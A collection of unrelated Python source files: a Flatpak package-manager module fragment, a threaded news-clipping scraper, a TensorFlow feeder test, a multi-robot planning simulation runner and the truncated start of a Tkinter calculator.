else:
res = self.http_client.get_json('{}/apps/{}'.format(FLATHUB_API_URL, app.id))
if res:
if res.get('categories'):
res['categories'] = [c.get('name') for c in res['categories']]
for to_del in ('screenshots', 'iconMobileUrl', 'iconDesktopUrl'):
if res.get(to_del):
del res[to_del]
for to_strip in ('description', 'currentReleaseDescription'):
if res.get(to_strip):
res[to_strip] = strip_html(res[to_strip])
for to_date in ('currentReleaseDate', 'inStoreSinceDate'):
if res.get(to_date):
try:
res[to_date] = datetime.strptime(res[to_date], DATE_FORMAT)
except:
self.context.logger.error('Could not convert date string {} as {}'.format(res[to_date], DATE_FORMAT))
pass
return res
else:
return {}
def get_history(self, pkg: FlatpakApplication) -> PackageHistory:
pkg.commit = flatpak.get_commit(pkg.id, pkg.branch, pkg.installation)
commits = flatpak.get_app_commits_data(pkg.ref, pkg.origin, pkg.installation)
status_idx = 0
for idx, data in enumerate(commits):
if data['commit'] == pkg.commit:
status_idx = idx
break
return PackageHistory(pkg=pkg, history=commits, pkg_status_idx=status_idx)
def install(self, pkg: FlatpakApplication, root_password: str, watcher: ProcessWatcher) -> bool:
config = read_config()
install_level = config['installation_level']
if install_level is not None:
self.logger.info("Default Flaptak installation level defined: {}".format(install_level))
if install_level not in ('user', 'system'):
watcher.show_message(title=self.i18n['error'].capitalize(),
body=self.i18n['flatpak.install.bad_install_level.body'].format(field=bold('installation_level'),
file=bold(CONFIG_FILE)),
type_=MessageType.ERROR)
return False
pkg.installation = install_level
else:
user_level = watcher.request_confirmation(title=self.i18n['flatpak.install.install_level.title'],
body=self.i18n['flatpak.install.install_level.body'].format(bold(pkg.name)),
confirmation_label=self.i18n['no'].capitalize(),
deny_label=self.i18n['yes'].capitalize())
pkg.installation = 'user' if user_level else 'system'
remotes = flatpak.list_remotes()
handler = ProcessHandler(watcher)
if pkg.installation == 'user' and not remotes['user']:
handler.handle_simple(flatpak.set_default_remotes('user'))
elif pkg.installation == 'system' and not remotes['system']:
if user.is_root():
handler.handle_simple(flatpak.set_default_remotes('system'))
else:
user_password, valid = watcher.request_root_password()
if not valid:
watcher.print('Operation aborted')
return False
else:
if not handler.handle_simple(flatpak.set_default_remotes('system', user_password)):
watcher.show_message(title=self.i18n['error'].capitalize(),
body=self.i18n['flatpak.remotes.system_flathub.error'],
type_=MessageType.ERROR)
watcher.print("Operation cancelled")
return False
res = handler.handle(SystemProcess(subproc=flatpak.install(str(pkg.id), pkg.origin, pkg.installation), wrong_error_phrase='Warning'))
if res:
try:
fields = flatpak.get_fields(str(pkg.id), pkg.branch, ['Ref', 'Branch'])
if fields:
pkg.ref = fields[0]
pkg.branch = fields[1]
except:
traceback.print_exc()
return res
def is_enabled(self):
return self.enabled
def set_enabled(self, enabled: bool):
self.enabled = enabled
def can_work(self) -> bool:
return flatpak.is_installed()
def requires_root(self, action: str, pkg: FlatpakApplication):
return action == 'downgrade' and pkg.installation == 'system'
def prepare(self):
pass
def list_updates(self, internet_available: bool) -> List[PackageUpdate]:
updates = []
installed = self.read_installed(None, internet_available=internet_available).installed
to_update = [p for p in installed if p.update]
if to_update:
loaders = []
for app in to_update:
if app.is_application():
loader = FlatpakUpdateLoader(app=app, http_client=self.context.http_client)
loader.start()
loaders.append(loader)
for loader in loaders:
loader.join()
for app in to_update:
updates.append(PackageUpdate(pkg_id='{}:{}:{}'.format(app.id, app.branch, app.installation),
pkg_type='flatpak',
version=app.version))
return updates
def list_warnings(self, internet_available: bool) -> List[str]:
return []
def list_suggestions(self, limit: int, filter_installed: bool) -> List[PackageSuggestion]:
cli_version = flatpak.get_version()
res = []
self.logger.info("Downloading the suggestions file {}".format(SUGGESTIONS_FILE))
file = self.http_client.get(SUGGESTIONS_FILE)
if not file or not file.text:
self.logger.warning("No suggestion found in {}".format(SUGGESTIONS_FILE))
return res
else:
self.logger.info("Mapping suggestions")
remote_level = self._get_search_remote()
installed = {i.id for i in self.read_installed(disk_loader=None).installed} if filter_installed else None
for line in file.text.split('\n'):
if line:
if limit <= 0 or len(res) < limit:
sug = line.split('=')
appid = sug[1].strip()
if installed and appid in installed:
continue
priority = SuggestionPriority(int(sug[0]))
cached_sug = self.suggestions_cache.get(appid)
if cached_sug:
res.append(cached_sug)
else:
app_json = flatpak.search(cli_version, appid, remote_level, app_id=True)
if app_json:
model = PackageSuggestion(self._map_to_model(app_json[0], False, None), priority)
self.suggestions_cache.add(appid, model)
res.append(model)
else:
break
res.sort(key=lambda s: s.priority.value, reverse=True)
return res
def is_default_enabled(self) -> bool:
return True
def launch(self, pkg: FlatpakApplication):
flatpak.run(str(pkg.id))
def get_screenshots(self, pkg: SoftwarePackage) -> List[str]:
screenshots_url = '{}/apps/{}'.format(FLATHUB_API_URL, pkg.id)
urls = []
try:
res = self.http_client.get_json(screenshots_url)
if res and res.get('screenshots'):
for s in res['screenshots']:
if s.get('imgDesktopUrl'):
urls.append(s['imgDesktopUrl'])
except Exception as e:
if e.__class__.__name__ == 'JSONDecodeError':
self.context.logger.error("Could not decode json from '{}'".format(screenshots_url))
else:
traceback.print_exc()
return urls
|
IQNewsClipThread.py | import os
import time
import logger
import logging
import pandas as pd
from time import sleep
from threading import Thread
from datetime import timedelta, datetime, date
from IQNewsClipScraper import IQNewsClipScraper
from cookies_handler import CookiesHandler
class IQNewsClipThread():
def __init__(self, keys=[], sources=[], n_thread=2, from_date=None, to_date=None):
self.keys = keys
self.sources = sources
self.n_thread = n_thread
self.threads = []
self.container = []
self.logger = logger.create_rotating_log()
self.set_date(from_date, to_date)
self.whole_file = None
self.cookies_handler = CookiesHandler()
def set_date(self, from_date=None, to_date=None):
self.from_date = from_date
self.to_date = to_date
if type(self.from_date) == str:
self.from_date = datetime.strptime(self.from_date, '%d/%m/%Y')
if type(self.to_date) == str:
self.to_date = datetime.strptime(self.to_date, '%d/%m/%Y')
# swap, so from_date is the most recent
if self.from_date and not self.to_date:
self.to_date = datetime.now()
elif not self.from_date and self.to_date:
self.from_date = datetime.now()
if self.to_date and self.from_date and self.to_date > self.from_date:
self.to_date, self.from_date = self.from_date, self.to_date
def set_today(self):
self.from_date = datetime.now()
self.to_date = datetime.now()
def set_yesterday(self):
self.from_date = datetime.now() - timedelta(days=1)
self.to_date = datetime.now() - timedelta(days=1)
def _task(self, thread_id):
"""this is a function that will be running in a thread"""
# load cookies if exists
try:
cookies = self.cookies_handler.load_cookies(thread_id)
scraper = IQNewsClipScraper(cookies=cookies)
except Exception as e:
self.logger.warning('Cookies: ' + str(e))
scraper = IQNewsClipScraper()
# attempt to book a session
while self.container:
response = scraper.login()
if response.status_code == 200 and response.content.decode('UTF-8') != '003':
self.logger.info('Login completed')
# sometimes it returns no cookies
if response.cookies.__dict__['_cookies'] != {}:
self.cookies_handler.save_cookies(response.cookies, thread_id)
break # booking a session is complete
self.logger.info('Login failed')
sleep(60)
# scraping section
while self.container:
key, source = self.container.pop(0)
# append only missing date
if not self.whole_file:
try:
df = pd.read_csv(f'result/{key}-{source}.csv')
if len(df.index) == 0: # for zero-row file
raise FileNotFoundError
recent_date = df['Date'].iloc[0]
# remove the recent_date from dataframe
df = df.set_index('Date').drop(recent_date, axis=0).reset_index()
recent_date = datetime.strptime(recent_date, '%d/%m/%y')
recent_date = datetime(recent_date.year-43, recent_date.month, recent_date.day)
if not self.from_date and not self.to_date:
new_df = scraper.search_all(key, source, datetime.now(), recent_date)
elif recent_date > self.from_date:
continue
elif recent_date > self.to_date:
new_df = scraper.search_all(key, source, self.from_date, recent_date)
df = pd.concat([new_df, df]).reset_index(drop=True)
except FileNotFoundError:
# create whole file
self.logger.warning(f'result/{key}-{source}.csv not found')
df = scraper.search_all(key, source, self.from_date, self.to_date)
# replace whole file with new one
else:
df = scraper.search_all(key, source, self.from_date, self.to_date)
df.to_csv(f'result/{key}-{source}.csv', index=False, encoding='utf-8-sig')
self.logger.info(f'Updated {key}-{source}.csv')
def start(self, whole_file=False):
"""create threads and run"""
self.whole_file = whole_file
self.container = [(key, source) for key in self.keys for source in self.sources]
self.threads = [Thread(target=self._task, args=(i,)) for i in range(self.n_thread)]
for thread in self.threads:
thread.start()
for thread in self.threads:
thread.join()
def create_newscount_file(self, name='NewsCount', d_dup=True):
"""create aggregate file from those .CSVs in the result folder"""
df_out = pd.DataFrame()
for key in self.keys:
for source in self.sources:
try:
df = pd.read_csv(f'result/{key}-{source}.csv')
if d_dup is True: # drop duplicates
df = df.drop_duplicates()
df = df.pivot_table(index=['Date'], aggfunc='size') \
.to_frame('Count') \
.reset_index()
df.insert(1, 'Source', source)
df.insert(2, 'Symbol', key)
df_out = df_out.append(df, ignore_index=True)
except:
self.logger.warning(f'result/{key}-{source}.csv not found')
# date formatting
date_df = list(df_out.Date)
for i, a_date in enumerate(date_df):
day, month, year = map(int, a_date.split('/'))
date_df[i] = date(year+1957, month, day).strftime('%Y-%m-%d')
df_out['Date'] = pd.DataFrame(date_df)
# sort DataFrame by date
df_out = df_out.sort_values(by=['Date', 'Source', 'Symbol'])
# check path exists
fname = name
if os.path.exists(f'aggregate/{fname}.csv'):
i = 1
while os.path.exists(f'aggregate/{fname} ({i}).csv'):
i += 1
fname = f'aggregate/{fname} ({i}).csv'
else:
fname = f'aggregate/{fname}.csv'
df_out.to_csv(fname, index=False, encoding='utf-8-sig')
self.logger.info(f'Created {fname}') |
feeder_test.py | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for tf.contrib.training.feeder."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import collections
import portpicker
from tensorflow.contrib.training.python.training import feeder as feeder_lib
from tensorflow.python.client import session as session_lib
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes as dtypes_lib
from tensorflow.python.framework import ops
from tensorflow.python.platform import test
from tensorflow.python.training import coordinator
from tensorflow.python.training import queue_runner_impl
from tensorflow.python.training import server_lib
class FeederThread(object):
# Helper class, wrapping a feeder and making sure it's located on the proper
# device
def __init__(self, test_case, coord, servers, job, task_num, prefix=''):
self.graph = ops.Graph()
self.coord = coord
self.server = servers[job][task_num]
self.remote_devices = []
# Just because we do tf.session(X) doesn't mean ops will located
# on the X task; wrapping all feeder creation/interaction in an
# extra tf.device(X) ensures that any ops that don't provider
# their own tf.device() wrapper will be placed on the correct "local"
# feeder task. A session can and does put ops that have no device
# assignment onto any of the tasks it knows about, not just the
# task passed as its target= argument!
self.device = '/job:%s/task:%d' % (job, task_num)
self.prefix = prefix
self.thread = test_case.checkedThread(target=self._feed_thread)
with self.graph.as_default(), ops.device(self.device):
self.feeder = feeder_lib.Feeder(
[dtypes_lib.string, dtypes_lib.string], [[], []], capacity=1)
self.feeder.set_many_fed_tensors(self._get_feed_values())
def _get_feed_values(self):
# Return some feeding strings, possibly prefixed.
return [
constant_op.constant(
['%s%s' % (self.prefix, x) for x in ['a0', 'a1', 'a2']]),
constant_op.constant(
['%s%s' % (self.prefix, x) for x in ['b0', 'b1', 'b2']])
]
def add_remote_device(self, dev):
with self.graph.as_default(), ops.device(self.device):
self.feeder.add_remote_device(dev)
def start(self):
self.thread.start()
self.feeder.wait_until_feeding() # wait until it's up & feeding
if self.coord.should_stop():
self.coord.join() # rethrows errors encountered in run_feeding_forever
def join(self):
self.thread.join()
def _session(self):
return session_lib.Session(target=self.server.target)
def _feed_thread(self):
with self.coord.stop_on_exception():
with self.graph.as_default(), ops.device(self.device):
self.feeder.run_feeding_forever(self._session, self.coord)
class FeederTest(test.TestCase):
# Tests for Feeder
def _create_local_cluster(self, **kargs):
"""Creates a local cluster."""
cluster_dict = {}
for (k, v) in kargs.items():
cluster_dict[k] = [
'localhost:%d' % portpicker.pick_unused_port() for _ in range(v)
]
# Launch servers:
servers = {}
for (k, v) in kargs.items():
servers[k] = [
server_lib.Server(
cluster_dict, job_name=k, task_index=idx, start=True)
for idx in range(v)
]
return servers
def testFeederActsLikeQueue(self):
# Tests that a feeder acts like a queue
feeder = feeder_lib.Feeder(
dtypes=[dtypes_lib.string, dtypes_lib.string],
shapes=[[], []],
capacity=10)
feeder.set_many_fed_tensors([
constant_op.constant(['a0', 'a1', 'a2']),
constant_op.constant(['b0', 'b1', 'b2'])
])
out_a, out_b = feeder.get_fed_tensors()
with self.test_session() as session:
coord = coordinator.Coordinator()
queue_runner_impl.start_queue_runners(session, coord=coord)
a, b = session.run([out_a, out_b])
self.assertEquals(b'a0', a)
self.assertEquals(b'b0', b)
a = session.run(out_a) # Omit b!
self.assertEquals(b'a1', a)
a, b = session.run([out_a, out_b])
self.assertEquals(b'a2', a)
self.assertEquals(b'b2', b) # queued together
a, b = session.run([out_a, out_b]) # loops around
self.assertEquals(b'a0', a)
self.assertEquals(b'b0', b) # queued together
coord.request_stop()
coord.join()
def testFeederSeparateThread(self):
# Start a feeder on a seperate thread, but with a shared local queue
servers = self._create_local_cluster(worker=1)
coord = coordinator.Coordinator()
feed_thread = FeederThread(self, coord, servers, 'worker', 0)
feed_thread.start()
with ops.Graph().as_default():
with ops.device('/job:worker/task:0'):
feeder = feeder_lib.Feeder(
dtypes=[dtypes_lib.string, dtypes_lib.string],
shapes=[[], []],
capacity=1)
out_a, out_b = feeder.get_fed_tensors()
with session_lib.Session(servers['worker'][0].target) as session:
a, b = session.run([out_a, out_b])
self.assertEquals(b'a0', a)
self.assertEquals(b'b0', b)
a = session.run(out_a) # Omit b!
self.assertEquals(b'a1', a)
coord.request_stop()
coord.join()
feed_thread.join()
def testOneEachFeeding(self):
# One feeder, one consumer
servers = self._create_local_cluster(consumer=1, feeder=1)
coord = coordinator.Coordinator()
feeder_thread = FeederThread(self, coord, servers, 'feeder', 0)
feeder_thread.add_remote_device('/job:consumer/task:0')
feeder_thread.start()
with ops.Graph().as_default():
with ops.device('/job:consumer/task:0'):
feeder = feeder_lib.Feeder(
dtypes=[dtypes_lib.string, dtypes_lib.string],
shapes=[[], []],
capacity=1)
out_a, out_b = feeder.get_fed_tensors()
with session_lib.Session(servers['consumer'][0].target) as session:
a, b = session.run([out_a, out_b])
self.assertEquals(b'a0', a)
self.assertEquals(b'b0', b)
a = session.run(out_a) # Omit b!
self.assertEquals(b'a1', a)
coord.request_stop()
coord.join()
feeder_thread.join()
def testMultipleProducersAndConsumers(self):
# Three feeders, three consumers.
servers = self._create_local_cluster(consumer=3, feeder=3)
coord = coordinator.Coordinator()
# Start the three feeders:
f0 = FeederThread(self, coord, servers, 'feeder', 0, prefix='feed0_')
f0.add_remote_device('/job:consumer/task:0')
f0.add_remote_device('/job:consumer/task:1')
f0.start()
f1 = FeederThread(self, coord, servers, 'feeder', 1, prefix='feed1_')
f1.add_remote_device('/job:consumer/task:2')
f1.add_remote_device('/job:consumer/task:0')
f1.start()
f2 = FeederThread(self, coord, servers, 'feeder', 2, prefix='feed2_')
f2.add_remote_device('/job:consumer/task:1')
f2.add_remote_device('/job:consumer/task:2')
f2.start()
# Three consumers.
def _run_consumer(task, expected_keys):
server = servers['consumer'][task]
# Runs until everything in expected_keys has been seen at least once;
# fails if any prefix not in expected_keys shows up
with ops.Graph().as_default(), ops.device('/job:consumer/task:%d' % task):
feeder = feeder_lib.Feeder(
dtypes=[dtypes_lib.string, dtypes_lib.string],
shapes=[[], []],
capacity=1)
out_a, out_b = feeder.get_fed_tensors()
counts = collections.Counter()
with session_lib.Session(server.target) as sess:
while True:
a, b = sess.run([out_a, out_b])
counts[a[:-1]] += 1
counts[b[:-1]] += 1
self.assertTrue(a[:-1] in expected_keys)
self.assertTrue(b[:-1] in expected_keys)
if all(counts[k] > 0 for k in expected_keys):
return
_run_consumer(0, [b'feed0_a', b'feed0_b', b'feed1_a', b'feed1_b'])
_run_consumer(1, [b'feed0_a', b'feed0_b', b'feed2_a', b'feed2_b'])
_run_consumer(2, [b'feed1_a', b'feed1_b', b'feed2_a', b'feed2_b'])
coord.request_stop()
coord.join()
f0.join()
f1.join()
f2.join()
def testAddRemoteReplicas(self):
with ops.Graph().as_default():
for idx in range(3):
with ops.name_scope('replica_%d' % idx):
feeder = feeder_lib.Feeder(
dtypes=[dtypes_lib.string, dtypes_lib.string],
shapes=[[], []],
capacity=10)
feeder.add_remote_replicas(
'consumer',
replica_count=3,
feeder_task_num=idx,
replicas_per_feeder=2,
base_device_spec='/device:cpu:0')
# Examine ops...
op_types_by_scope_and_device = collections.defaultdict(
lambda: collections.defaultdict(collections.Counter))
for op in ops.get_default_graph().get_operations():
scope = '/'.join(op.name.split('/')[:-1])
dev = op.device
op_types_by_scope_and_device[scope][dev][op.type] += 1
expected_ops = collections.Counter({'QueueEnqueue': 1, 'FIFOQueue': 1})
expected_enq_devices = [('replica_0', [
'/job:consumer/replica:0/device:cpu:0',
'/job:consumer/replica:1/device:cpu:0',
]), ('replica_1', [
'/job:consumer/replica:2/device:cpu:0',
'/job:consumer/replica:0/device:cpu:0',
]), ('replica_2', [
'/job:consumer/replica:1/device:cpu:0',
'/job:consumer/replica:2/device:cpu:0',
])]
for scope, devs in expected_enq_devices:
for dev in devs:
self.assertEqual(expected_ops,
op_types_by_scope_and_device[scope][dev])
if __name__ == '__main__':
test.main()
|
sim.py | import numpy as np
import matplotlib
#matplotlib.use('Agg')
import matplotlib.pyplot as plt
import torch
import pyro
import pyro.distributions as dist
from datetime import datetime
import os
import multiprocessing
from multiprocessing.managers import BaseManager
import contextlib
import pickle
import lzma
import time
import sys
from pathlib import Path
import tikzplotlib
import yaml
try:
from yaml import CLoader as Loader, CDumper as Dumper
except ImportError:
from yaml import Loader, Dumper
from uniCycleRobotPlanning import UniCycleRobotPlanning
import env_multi_robot
def agent_process(env, robot_ID, reset, agents_done, agents_reset, DataDir, configs):
with LoggingPrinter(Path(DataDir + "/terminal_log_" + str(robot_ID) + ".txt")):
# set pyro's random seed for reproducability
rand_seed = torch.randint(101, (1, 1))
pyro.set_rng_seed(rand_seed[0][0])
agent = UniCycleRobotPlanning(robot_ID, configs)
act = np.zeros(2) # start by doing nothing!
data = {}
time_pr_iteration_true = []
while True:
while not env.get_sim_status(): # sleep if the sim is not running
time.sleep(0.01)
# print(act)
obs, reward, done, info = env.step(act, robot_ID)
if done and configs["stop_after_first_goal_is_reached"]:
print("######################## Agent " + str(robot_ID) + " reached its goal! ########################")
act = np.zeros(2) # start by doing nothing!
obs, reward, done, info = env.step(act, robot_ID) # to stop immediately
agents_done[robot_ID] = True
# if we are done we do not want to change goal, but still want to make computations to send msg to other and take up computational resources
goal_position = goal_position
else:
goal_position = obs[1]
# convert obs from sim to the format used in the agent
pose_mean = obs[0][0] # we only use the position not the heading
pose_L = obs[0][1] # we only use the position not the heading
msgs_received = obs[2]
time_sim = info["sim_time"]
# make new plan
tic = time.time()
act, msg, z_s_tPlus_samples = agent.makePlan(pose_mean, pose_L, goal_position, time_sim, msgs_received, Break=agents_done[robot_ID])
toc = time.time()
time_pr_iteration_true.append(toc - tic)
if reset.value:
print("######################## Resetting agent " + str(robot_ID) + " ########################")
agent.reset()
act = np.zeros(2) # start by doing nothing!
agents_done[robot_ID] = False
agents_reset[robot_ID] = True
while not reset.value:
time.sleep(0.02)
else:
env.send_msg(robot_ID, msg)
# only for plotting...
# convert samples to the format used by the simulator
if z_s_tPlus_samples != None:
z_s_tPlus_samples_np = []
for j in range(len(z_s_tPlus_samples)):
z_s_tPlus_ = []
for tau in range(len(z_s_tPlus_samples[j])):
pose_ = z_s_tPlus_samples[j][tau]["own_pose"].detach().cpu().numpy()
z_s_tPlus_.append(pose_)
z_s_tPlus_samples_np.append(z_s_tPlus_)
env.set_pos_samples(robot_ID, z_s_tPlus_samples_np)
time.sleep(0.001) # just to let other processes make calculations
class LoggingPrinter: # https://stackoverflow.com/questions/24204898/python-output-on-both-console-and-file
def __init__(self, filename):
self.out_file = open(filename, "w")
self.old_stdout = sys.stdout
# this object will take over `stdout`'s job
sys.stdout = self
# executed when the user does a `print`
def write(self, text):
self.old_stdout.write(text)
self.old_stdout.flush()
self.out_file.write(text)
self.out_file.flush()
os.fsync(self.out_file)
# executed when `with` block begins
def __enter__(self):
return self
# executed when `with` block ends
def __exit__(self, type, value, traceback):
# we don't want to log anymore. Restore the original stdout object.
sys.stdout = self.old_stdout
def file_len(fname):
with open(fname) as f:
for i, l in enumerate(f):
pass
return i + 1
def main(args):
os.system("taskset -p 0xffffffffff %d" % os.getpid()) # solves not fully utilization of cpu cores on ubuntu
# remember to have enough f's relative to the number of cores!! https://stackoverflow.com/questions/31320194/python-multiprocessing-8-24-cores-loaded
os.environ['KMP_DUPLICATE_LIB_OK'] = 'True' # OMP error on mac M1
# multiprocessing.freeze_support() # <- may be required on windows
# USAGE ...
# python3 __main__.py -config_file "configs/damgaard2022SVIFDPR/configs.yaml"
config_folder = "configs/damgaard2022SVIFDPR"
#config_folder = "configs/test"
config_file = config_folder + "/configs.yaml"
now = datetime.now()
date = now.strftime("%Y_%m_%d")
current_time = now.strftime("%H_%M_%S")
DataDir = "DATA/date_" + date + "_time_" + current_time
# Treat args
#args = sys.argv[1:]
for i in range(len(args)):
if args[i] == "-config_file": # the config file
config_file = args[i + 1]
if args[i] == "-data_dir": # the config file
DataDir = args[i + 1]
if not os.path.exists(DataDir):
os.makedirs(DataDir)
with open(Path(config_file), 'r') as stream:
try:
configs = yaml.load(stream, Loader=Loader)
configs["DataDir"] = DataDir
except yaml.YAMLError as exc:
print(exc)
BaseManager.register('multiRobotEnv', env_multi_robot.multiRobotEnv)
manager = BaseManager()
manager.start()
env = manager.multiRobotEnv(configs["N_Robots"], config_path=config_file)
agent_reset = multiprocessing.Value("i", False)
agent_reset.value = False
agents_done = multiprocessing.Array('i', range(configs["N_Robots"]))
agents_reset = multiprocessing.Array('i', range(configs["N_Robots"]))
for i in range(configs["N_Robots"]):
agents_done[i] = False
agents_reset[i] = False
p_agent = [None] * configs["N_Robots"]
for robot_ID in range(configs["N_Robots"]):
p_agent[robot_ID] = multiprocessing.Process(target=agent_process, args=(env, robot_ID, agent_reset, agents_done, agents_reset, DataDir, configs))
p_agent[robot_ID].daemon = True
p_agent[robot_ID].start()
p_sim = multiprocessing.Process(target=env.simulator, args=())
p_sim.daemon = True
p_sim.start()
frame_counter = 0
frametime = 1/configs["framerate"]#*(1/env.get_real_time_factor())
print("frametime: " + str(frametime))
if not os.path.exists(DataDir + "/MEDIA"):
os.mkdir(DataDir + "/MEDIA")
log_folder = DataDir + "/LOGS"
if not os.path.exists(log_folder):
os.mkdir(log_folder)
log_dict = {}
log_dict["sim_time"] = []
log_dict["robot_poses"] = []
log_dict["robot_poses_est"] = []
log_dict["current_goals"] = []
log_dict["acts"] = []
simNumber = 1
media_DATA_folder_path = DataDir + "/MEDIA/pngs_sim_" + str(simNumber)
if not os.path.exists(media_DATA_folder_path):
os.mkdir(media_DATA_folder_path)
env_multi_robot.render(env)
time.sleep(3+0.2*configs["N_Robots"]) # initializing the env and agents takes time ...
# reset everything to zero clock
agent_reset.value = True
env.reset()
all_reset = False
while not all_reset: # wait until all is reset
all_reset = True
for i in range(configs["N_Robots"]):
all_reset = all_reset and agents_reset[i]
for i in range(configs["N_Robots"]):
agents_reset[i] = False
agent_reset.value = False
with LoggingPrinter(Path(DataDir + "/main_log.txt")):
print("Starting simulations and rendering")
while simNumber <= configs["N_simulations"]:
all_done = True
who_is_done = []
for i in range(configs["N_Robots"]):
all_done = all_done and agents_done[i]
who_is_done.append(agents_done[i])
#print("Who is done? " + str(who_is_done))
log_dict["sim_time"].append(env.time())
log_dict["robot_poses"].append(env.get_poses())
log_dict["robot_poses_est"].append(env.get_poses_est())
log_dict["current_goals"].append(env.get_current_goals())
log_dict["acts"].append(env.get_acts())
env_multi_robot.render(env)
if configs["save_pngs_for_gif"] and env.time() > frametime*frame_counter:
png_DATA_file_path = media_DATA_folder_path + "/" + str(frame_counter) + ".png"
plt.savefig(png_DATA_file_path, format='png', bbox_inches = "tight")
frame_counter = frame_counter + 1
# if frame_counter == 3:
# print(png_DATA_file_path.replace(".png",'.tikz'))
# tikzplotlib.save(png_DATA_file_path.replace(".png",'.tikz'))
time.sleep(0.02) # at most 50 hz'ish should be enough
if env.are_there_any_collisions() or (env.time() >= configs["simulated_time_pr_sim"]) or (all_done and configs["stop_after_first_goal_is_reached"]):
if env.are_there_any_collisions():
print("Collision detected in simulation " + str(simNumber) + " at simTime " + str(env.time()) + " s. Resetting simulator!")
else:
print("Finished simulation " + str(simNumber) + " after " + str(env.time()) + " s (simulation time).")
log_dict["r_robots"] = env.get_r_robots()
log_dict["N_msgs_received"] = env.get_N_msgs_received()
with lzma.open(Path(log_folder + '/log_sim_' + str(simNumber) + ".xz"), "wb") as f:
pickle.dump(log_dict, f)
log_dict = {}
log_dict["sim_time"] = []
log_dict["robot_poses"] = []
log_dict["robot_poses_est"] = []
log_dict["current_goals"] = []
log_dict["acts"] = []
simNumber = simNumber + 1
if simNumber <= configs["N_simulations"]:
agent_reset.value = True
env.reset()
all_reset = False
while not all_reset: # wait until all is reset
all_reset = True
for i in range(configs["N_Robots"]):
all_reset = all_reset and agents_reset[i]
for i in range(configs["N_Robots"]):
agents_reset[i] = False
agent_reset.value = False
frame_counter = 0
media_DATA_folder_path = DataDir + "/MEDIA/pngs_sim_" + str(simNumber)
if not os.path.exists(media_DATA_folder_path):
os.mkdir(media_DATA_folder_path)
print("Finished all simulations")
for robot_ID in range(configs["N_Robots"]):
p_agent[robot_ID].terminate()
p_sim.terminate()
if __name__ == '__main__':
main(sys.argv[1:]) |
calculator.pyw | # Written by Rishi
# Completed on 7 July, 2020
import math
from threading import Thread
from time import sleep
from tkinter.__init__ import Tk, Button, Label, Frame, StringVar, BooleanVar, Menubutton, Menu, Toplevel
from tkinter.constants import *
try:
from playsound import playsound
except ModuleNotFoundError:
import os
os.system('python -m pip install playsound')
from playsound import playsound
fact = math.factorial
rad = math.radians
def log(number):
return round(math.log10(number), 3)
def ln(number):
return round(math.log(number), 3)
def sin(angle, unit=rad):
return round(math.sin(unit(angle)), 3)
def cos(angle, unit=rad):
return round(math.cos(unit(angle)), 3)
def tan(angle, unit=rad):
return round(math.tan(unit(angle)), 3)
def csc(angle, unit=rad):
return round(1 / sin(angle), 3)
def sec(angle, unit=rad):
return round(1 / cos(angle), 3)
def cot(angle, unit=rad):
return round(1 / tan(angle), 3)
def HCF_of_2(x, y):
while y:
x, y = y, x % y
return x
def HCF(*numbers):
if len(numbers) == 2:
return HCF_of_2(*numbers)
else:
numbers = list(numbers)
for i in range(len(numbers) - 1):
numbers.append(HCF_of_2(numbers.pop(), numbers.pop()))
return numbers[0]
def LCM_of_2(x, y):
return x * y // HCF(x, y)
def LCM(*numbers):
if len(numbers) == 2:
return LCM_of_2(*numbers)
else:
numbers = list(numbers)
for i in range(len(numbers) - 1):
numbers.append(LCM_of_2(numbers.pop(), numbers.pop()))
return numbers[0]
class App(Tk):
def __init__(self):
self.modes = ['Basic ', 'Advanced ']
self.columns = [0, 0, 0, 0, 0, 0, 0, 0, 0]
self.buttons = [
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0]
]
self.labels = (
('DEL', '7', '4', '1', ' ± '),
('CLR', '8', '5', '2', ' 0 '),
(' ÷ ', '9', '6', '3', ' . '),
(' × ', '-', '+', ' ', ' = '),
(' % ', '^', '×', '-', ' + '),
('sin', 'csc', '(', 'x²', '√x'),
('cos', 'sec', ')', 'x³', '∛x'),
('tan', 'cot', 'log', 'HCF', ','),
('π', '!', 'ln', 'LCM', ' = ')
)
def column_creator(self, x, y):
for i in range(x, y):
self.columns[i] = Frame(self.window)
self.columns[i].pack(fill=BOTH, expand=True, side=LEFT)
def button_creator(self, x, y):
for i in range(x, y):
for j in range(5):
self.buttons[i][j] = Button(self.columns[i], text=self.labels[i][j], font=('Courier New', 18, 'bold'),
activebackground='#111111', activeforeground='white', bg='black',
fg='white',
borderwidth=0, takefocus=False)
self.buttons[i][j].pack(side=TOP, fill=BOTH, expand=True)
def create_layout(self):
self.window = Tk()
self.window.geometry('330x510+90+90')
self.window.resizable(1, 1)
self.window.title('Calculator')
self.window.iconbitmap('icon.ico')
self.current_mode = StringVar()
self.current_mode.set('Basic ')
self.expression = StringVar()
self.always_on_top = BooleanVar()
self.click_sound_enabled = BooleanVar()
self.options_bar = Frame(self.window, height=30, bg='black')
self.options_bar.pack(fill=X)
self.change_mode_button = Label(self.options_bar, text=' ⇄ ', bg='black', fg='white', font=('Helvetica', 27),
borderwidth=0,
activebackground='#111111',
padx=0, pady=0)
self.change_mode_button.pack(padx=0, pady=0, side=LEFT)
self.change_mode_button.bind('<Button-1>', self.change_mode)
self.change_mode_button.bind('<Enter>', lambda event: self.mode_highlight(1))
self.change_mode_button.bind('<Leave>', lambda event: self.mode_highlight(0))
self.current_mode_label = Label(self.options_bar, textvariable=self.current_mode, bg='black', fg='white',
font=('Trebuchet MS', 22, 'bold'),
padx=0, pady=0)
self.current_mode_label.pack(side=LEFT)
self.current_mode_label.bind('<Button-1>', self.change_mode)
self.current_mode_label.bind('<Enter>', lambda event: self.mode_highlight(1))
self.current_mode_label.bind('<Leave>', lambda event: self.mode_highlight(0))
self.menu = Menubutton(self.options_bar, text=' ≡ ', bg='black', activebackground='#334033',
